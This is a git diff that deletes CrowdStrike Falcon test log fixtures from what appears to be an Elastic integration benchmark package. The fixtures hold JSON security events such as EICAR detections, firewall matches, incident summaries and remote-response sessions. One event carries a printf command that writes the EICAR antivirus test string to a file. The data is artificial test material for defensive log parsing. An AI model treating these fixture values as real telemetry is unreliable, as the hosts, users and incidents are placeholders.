-{"event":{"AgentId":"1d58fa2265b540b79cd057e8fa798e4d","AggregateId":"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364","CommandLine":"/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"bash","FilePath":"/usr/bin/bash","GrandParentCommandLine":"falcon-sensor-bpf","GrandParentImageFileName":"falcon-sensor-bpf17804","GrandParentImageFilePath":"/opt/CrowdStrike/falcon-sensor-bpf17804","HostGroups":"5b2e67ccb1de4ac0b1c49225c8fcb132","Hostname":"cs-elastic","LocalIP":"192.168.64.5","LocalIPv6":"","LogonDomain":"","MACAddress":"52-54-00-58-b6-5e","MD5String":"21cdb844225f8dc4ea6e9f80f9940a2b","Name":"Attacker Methodology","Objective":"Follow Through","ParentCommandLine":"/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n#    Run a bash script with specified command line and timeout\n# DESCRIPTION\n#   CrowdStrike Real Time Response command\n# PARAMETER WD\n#    Current working directory\n# PARAMETER Param1\n#    Script body - Required\n# PARAMETER Param2\n#    Command line sent to script\n# PARAMETER Param3\n#    Local path - path to local file to be used as script body\n# PARAMETER Param4\n#    Timeout in seconds\n# NOTES\n#    File Name  : runscript.sh\n#    Contact    : support@crowdstrike.com\n#    Copyright  : CrowdStrike 2020\n# LINK\n#    https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n    echo \"$command: $1\" >&2\n    exit 1\n}\n\nfunction err_handler()\n{\n    # Rewrite the error message to remove the internal command prefix\n    echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n    eval set -- \"$1\"\n    echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n    script=\"$1\"\n    shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n    script_args=\"$1\"\n    shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n    script_path=\"$(get_arg \"$1\")\"\n    if [ -n \"$script_path\" ]; then\n        script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n    fi\n    shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n    if [ -n \"$1\" ]; then\n        timeout=\"$1\"\n    fi\n    shift\nfi\n\nif [ -z \"$script\" ]; then\n    die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n    die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n    sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n    current_time=$(get_time)\n    if ((current_time - start_time >= timeout*resolution)); then\n        kill -9 $pid >/dev/null 2>&1\n        echo \"$command: Timed out waiting for script to exit\" >&2\n        kill -9 -$$ >/dev/null 2>&1\n    fi\n    if ((current_time - last_print_time >= print_interval*resolution)); then\n        printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n        last_print_time=$current_time\n    fi\n    /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com         ","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1751532935654264600,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":30195,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1751532935,"ProcessId":1751532935660927000,"ProcessStartTime":1751532935,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"root"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751533769000,"eventType":"EppDetectionSummaryEvent","offset":1962865,"version":"1.0"}}
-{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751371899000,"eventType":"EppDetectionSummaryEvent","offset":1956190,"version":"1.0"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-events.log
deleted file mode 100644
index 072f786304..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-events.log
+++ /dev/null
@@ -1 +0,0 @@
-{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":294564,"eventType":"DetectionSummaryEvent","eventCreationTime":1582101000000,"version":"1.0"},"event":{"ProcessStartTime":1536846339,"ProcessEndTime":0,"ProcessId":38684386611,"ParentProcessId":38682494050,"ComputerName":"alice-laptop","UserName":"alice","DetectName":"Process Terminated","DetectDescription":"Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.","Severity":4,"SeverityName":"High","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume1\\Windows","CommandLine":"C:\\Windows\\Explorer.EXE","SHA256String":"6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a","MD5String":"ac4c51eb24aa95b77f705ab159189e24","MachineDomain":"CORP-DOMAIN","FalconHostLink":"https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4","SensorId":"7c808b4c8878433287eea53d4a8c3268","DetectId":"ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584","LocalIP":"192.168.12.51","MACAddress":"00-00-00-11-22-33","Tactic":"Malware","Technique":"Ransomware","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process killed.","PatternDispositionValue":16,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false}}}{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":1824,"eventType":"IncidentSummaryEvent","eventCreationTime":1583295476766,"version":"1.0"},"event":{"IncidentStartTime":1583295228,"IncidentEndTime":1583295470,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b","State":"open","FineScore":1.2}}{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":22865,"eventType":"UserActivityAuditEvent","eventCreationTime":1593186952000,"version":"1.0"},"event":{"UserId":"Crowdstrike","UserIp":"","OperationName":"quarantined_file_update","ServiceName":"quarantined_files","AuditKeyValues":[{"Key":"quarantined_file_id","ValueString":"35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78"},{"Key":"action_taken","ValueString":"quarantined"}],"UTCTimestamp":1593186952}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-firewall.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-firewall.log
deleted file mode 100644
index 82bef37a06..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-firewall.log
+++ /dev/null
@@ -1 +0,0 @@
-{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":70689,"eventType":"FirewallMatchEvent","eventCreationTime":1595248906000,"version":"1.0"},"event":{"DeviceId":"12345a1bc2d34fghi56jk7890lmno12p","CustomerId":"12345a1bc2d34fghi56jk7890lmno12p","Ipv":"ipv4","CommandLine":"nginx","ConnectionDirection":"1","EventType":"FirewallRuleIP4Matched","Flags":{"Audit":false,"Log":false,"Monitor":true},"HostName":"TESTDEVICE01","ICMPCode":"","ICMPType":"","ImageFileName":"/usr/bin/nginx","LocalAddress":"10.10.10.10","LocalPort":"445","MatchCount":1,"MatchCountSinceLastReport":1,"NetworkProfile":"2","PID":"206158879910","PolicyName":"PROD-FW-TESTSTATION-General","PolicyID":"12345a1bc2d34fghi56jk7890lmno12p","Protocol":"6","RemoteAddress":"216.160.83.56","RemotePort":"54952","RuleAction":"2","RuleDescription":"","RuleFamilyID":"fec73e96a1bf4481be582c3f89b234fa","RuleGroupName":"SMB Rules","RuleName":"Inbound SMB Block \u0026 Log Private","RuleId":"4877172638743447345","Status":"","Timestamp":"2020-07-20T12:41:44Z","TreeID":"158446832506666"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-identity-protection-incident.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-identity-protection-incident.log
deleted file mode 100644
index 921f2c64f8..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-identity-protection-incident.log
+++ /dev/null
@@ -1 +0,0 @@
-{"metadata":{"customerIDString":"3426316453426234","offset":2664264,"eventType":"IdentityProtectionEvent","eventCreationTime":1686891836581,"version":"1.0"},"event":{"IncidentType":"UNUSUAL_ENDPOINT_USE","IncidentDescription":"User seen coming from a location that deviates from their baseline.","Severity":1,"SeverityName":"INFO","StartTime":1686891836383,"EndTime":1686891836553,"IdentityProtectionIncidentId":"INC-123","UserName":"TESTUSER","EndpointName":"TESTHOSTNAME","EndpointIp":"89.160.20.112","Category":"Incidents","NumbersOfAlerts":1,"NumberOfCompromisedEntities":1,"State":"NEW","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/incidents/INC-123"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-incident-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-incident-summary.log
deleted file mode 100644
index 2ab9066a1b..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-incident-summary.log
+++ /dev/null
@@ -1 +0,0 @@
-{"metadata":{"customerIDString":"123123abcd","offset":2,"eventType":"IncidentSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"IncidentStartTime":1685844891,"IncidentEndTime":1685844892,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:123:abc?_cid=CID","State":"open","FineScore":0.5,"LateralMovement":0,"IncidentType":1,"IncidentID":"inc:123:abc","HostID":"TESTHOSTID","LMHostIDs":["TESTHOSTID1","TESTHOSTID2"],"UserId":"first.last@company.com"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-ipd-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-ipd-summary.log
deleted file mode 100644
index 138852e4d4..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-ipd-summary.log
+++ /dev/null
@@ -1 +0,0 @@
-{"metadata":{"customerIDString":"12312312312312321","offset":2662765,"eventType":"IdpDetectionSummaryEvent","eventCreationTime":1686848064000,"version":"1.0"},"event":{"ContextTimeStamp":133221234560000000,"DetectId":"12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000","DetectName":"Unusual login to an endpoint","DetectDescription":"A user logged in to a machine for the first time","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012","StartTime":123456789000000000,"EndTime":123456789000000000,"Severity":7,"Tactic":"Initial Access","Technique":"Valid Accounts","Objective":"Gain Access","SourceAccountDomain":"DOMAIN.COM","SourceAccountName":"johnb","SourceAccountObjectSid":"S-1-3-44-55555555-666666666-7777777777-88888","SourceEndpointAccountObjectGuid":"12345678-1234-1234-1234-123456789000","SourceEndpointAccountObjectSid":"S-1-3-44-55555555-666666666-7777777777-88888","SourceEndpointHostName":"pc01.domain.com","SourceEndpointIpAddress":"81.2.69.144","SourceEndpointSensorId":"12345678901234567890123456789012","PrecedingActivityTimeStamp":133154452345780000,"MostRecentActivityTimeStamp":133313215755670000,"ActivityId":"12345678-1234-1234-1234-123456789000","PatternId":51135}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-mobile-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-mobile-detection-summary.log
deleted file mode 100644
index f9676e2029..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-mobile-detection-summary.log
+++ /dev/null
@@ -1 +0,0 @@
-{"metadata":{"customerIDString":"0123456789ABCDEFGHIJKLMNOPQRSTUV","offset":701283,"eventType":"MobileDetectionSummaryEvent","eventCreationTime":1649420269000,"version":"1.0"},"event":{"SensorId":"85ae98xxxxxxd9a8f2","MobileDetectionId":1310556238,"ComputerName":"TESTComputer","UserName":"TestUSER","ContextTimeStamp":1649061056,"DetectId":"0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238","DetectName":"AppSideloadDetected","DetectDescription":"Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ","Tactic":"Insecure security posture","TacticId":"CSTA0009","Technique":"Bad device settings","TechniqueId":"CST0024","Objective":"Falcon Detection Method","Severity":50,"FalconHostLink":"https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV","MobileAppsDetails":[{"AppIdentifier":"com.facebook.katana","AndroidAppLabel":"Facebook","DexFileHashes":"abc456xxxxxxxxxxxxxxxxdef789","ImageFileName":"/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk","AppInstallerInformation":"unknown","IsBeingDebugged":false,"AndroidAppVersionName":"323.0.0.46.119","IsContainerized":false}]}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-recon-notification.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-recon-notification.log
deleted file mode 100644
index af4c5409e0..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-recon-notification.log
+++ /dev/null
@@ -1 +0,0 @@
-{"metadata":{"customerIDString":"1231231231231","offset":2664218,"eventType":"ReconNotificationSummaryEvent","eventCreationTime":1686889114000,"version":"1.0"},"event":{"NotificationId":"oifgdjgpoidfsjhpoihio","Highlights":["Some highlighed text \u0026lt;cs-highlight\u0026gt;test\u0026lt;/cs-highlight\u0026gt; \u0026lt;cs-highlight\u0026gt;gdsfgasd\u0026lt;/cs-highlight\u0026gt;.\n\nAs an Some more text"],"MatchedTimestamp":1686889114000,"RuleId":"123543-0cb1-4806-9ccd-a543123","RuleName":"TestRuleName","RuleTopic":"TestRuleTopic","RulePriority":"high","ItemId":"oigjfdsiughsiopudhfoiusadhfiouhipou==","ItemType":"post","ItemPostedTimestamp":1686873909000}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-remote-response.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-remote-response.log
deleted file mode 100644
index 238a949098..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-remote-response.log
+++ /dev/null
@@ -1,2 +0,0 @@
-{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":1045,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1582830734000,"version":"1.0"},"event":{"SessionId":"12345a1bc2d34fghi56jk7890lmno12p","HostnameField":"hostnameofmachine","UserName":"first.last@company.com","StartTimestamp":1582830734}}
-{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":1046,"eventType":"RemoteResponseSessionEndEvent","eventCreationTime":1582830772000,"version":"1.0"},"event":{"SessionId":"12345a1bc2d34fghi56jk7890lmno12p","HostnameField":"hostnameofmachine","UserName":"first.last@company.com","EndTimestamp":1582830772}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-sample.log
deleted file mode 100644
index cbb3da3959..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-sample.log
+++ /dev/null
@@ -1,7 +0,0 @@
-{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":70689,"eventType":"FirewallMatchEvent","eventCreationTime":1595248906000,"version":"1.0"},"event":{"DeviceId":"718af202ab2c4ba5b6a5d10d39c0e0a5","CustomerId":"12345a1bc2d34fghi56jk7890lmno12p","Ipv":"ipv4","CommandLine":"","ConnectionDirection":"1","EventType":"FirewallRuleIP4Matched","Flags":{"Audit":false,"Log":false,"Monitor":true},"HostName":"TESTDEVICE01","ICMPCode":"","ICMPType":"","ImageFileName":"","LocalAddress":"10.37.60.194","LocalPort":"445","MatchCount":1,"MatchCountSinceLastReport":1,"NetworkProfile":"2","PID":"206158879910","PolicyName":"PROD-FW-Workstations-General","PolicyID":"74e7f1552a3a4d90a6d65578642c8584","Protocol":"6","RemoteAddress":"10.37.60.21","RemotePort":"54952","RuleAction":"2","RuleDescription":"","RuleFamilyID":"fec73e96a1bf4481be582c3f89b234fa","RuleGroupName":"SMB Rules","RuleName":"Inbound SMB Block \u0026 Log Private","RuleId":"4877172638743447345","Status":"","Timestamp":"2020-07-20T12:41:44Z","TreeID":""}}
-{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":57181,"eventType":"IncidentSummaryEvent","eventCreationTime":1595005328414,"version":"1.0"},"event":{"IncidentStartTime":1595005316,"IncidentEndTime":1595005316,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54","State":"open","FineScore":0.1,"LateralMovement":0}}
-{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":70509,"eventType":"AuthActivityAuditEvent","eventCreationTime":1595247970093,"version":"1.0"},"event":{"UserId":"first.last@company.com","UserIp":"67.43.156.15","OperationName":"saml2Assert","ServiceName":"Crowdstrike Authentication","Success":true,"UTCTimestamp":1595247970,"AuditKeyValues":[{"Key":"trace_id","ValueString":"b0b33836-555c-4e0e-a5ef-d368f6799f6b"},{"Key":"actor_user","ValueString":"first.last@company.com"},{"Key":"actor_user_uuid","ValueString":"123ab123-abc1-12a1-12a1-12a1ab12a1a1"},{"Key":"actor_cid","ValueString":"123456a1ab1a12abc12ab1234abcd12a"},{"Key":"target_user","ValueString":"first.last@company.com"}]}}
-{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":70683,"eventType":"UserActivityAuditEvent","eventCreationTime":1595248885000,"version":"1.0"},"event":{"UserId":"Crowdstrike","UserIp":"","OperationName":"quarantined_file_update","ServiceName":"quarantined_files","AuditKeyValues":[{"Key":"quarantined_file_id","ValueString":"ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21"},{"Key":"action_taken","ValueString":"quarantined"}],"UTCTimestamp":1595248885}}
-{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":57217,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1595006093000,"version":"1.0"},"event":{"SessionId":"330633db-1cda-4355-b0d8-2c2edc91fe3e","HostnameField":"TESTDEVICE01","UserName":"first.last@company.com","StartTimestamp":1595006093}}
-{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":57269,"eventType":"RemoteResponseSessionEndEvent","eventCreationTime":1595006899000,"version":"1.0"},"event":{"SessionId":"330633db-1cda-4355-b0d8-2c2edc91fe3e","HostnameField":"TESTDEVICE01","UserName":"first.last@company.com","EndTimestamp":1595006899,"Commands":["cd \\Program Files (x86)\\Symantec","ls .","cd \\Program Files (x86)","ls .","reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default","reg set HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```","reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default","restart","restart -Confirm"]}}
